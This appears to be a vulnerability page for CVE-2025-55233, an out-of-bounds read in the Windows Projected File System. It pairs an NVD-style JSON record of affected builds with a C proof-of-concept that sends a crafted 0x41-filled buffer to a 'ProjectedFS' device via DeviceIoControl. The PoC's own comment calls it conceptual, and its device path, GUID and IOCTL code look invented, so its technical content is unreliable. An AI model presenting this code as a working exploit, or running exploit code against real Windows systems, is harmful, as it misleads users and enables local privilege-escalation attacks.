CVE-2025-55233

// CVE-2025-55233 Windows Projected File System Out-of-bounds Read PoC // Author: Security Researcher // Target: Windows 10/11, Windows Server 2019/2022 #include <windows.h> #include <stdio.h> #include <winbase.h> #define PROJECTEDFS_GUID "{0B5E147E-225B-4AC3-8E21-7B5A3E8C6E3D}" // Trigger out-of-bounds read in Projected File System BOOL TriggerProjFSOOB(void) { HANDLE hDevice; DWORD bytesReturned = 0; // Open Projected File System device hDevice = CreateFile( "\\\\.\\ProjectedFS", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open ProjectedFS device\n"); return FALSE; } // Craft malicious FSCTL request to trigger OOB read char inputBuffer[0x1000]; char outputBuffer[0x2000]; memset(inputBuffer, 0x41, sizeof(inputBuffer)); // FSCTL_PROJECTION_MANAGE operation BOOL result = DeviceIoControl( hDevice, 0x00140000 + 0x901, // ProjectedFS-specific IOCTL inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); CloseHandle(hDevice); return result; } int main(void) { printf("[*] CVE-2025-55233 PoC - Windows Projected File System OOB Read\n"); printf("[*] Target: Windows with ProjectedFS enabled\n"); // Check if running on vulnerable system OSVERSIONINFO osvi; osvi.dwOSVersionInfoSize = sizeof(osvi); GetVersionEx(&osvi); if (osvi.dwMajorVersion < 10) { printf("[-] Target not vulnerable (Windows version too old)\n"); return 1; } printf("[+] Triggering vulnerability...\n"); if (TriggerProjFSOOB()) { printf("[+] Vulnerability triggered successfully\n"); } else { printf("[-] Trigger failed or system patched\n"); } return 0; } // Note: This is a conceptual PoC demonstrating the attack vector. // Actual exploitation requires specific trigger conditions and may vary by Windows version.

{"cve": {"id": "CVE-2025-55233", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:54.303", "lastModified": "2025-12-12T20:01:57.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows Projected File System allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55233", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}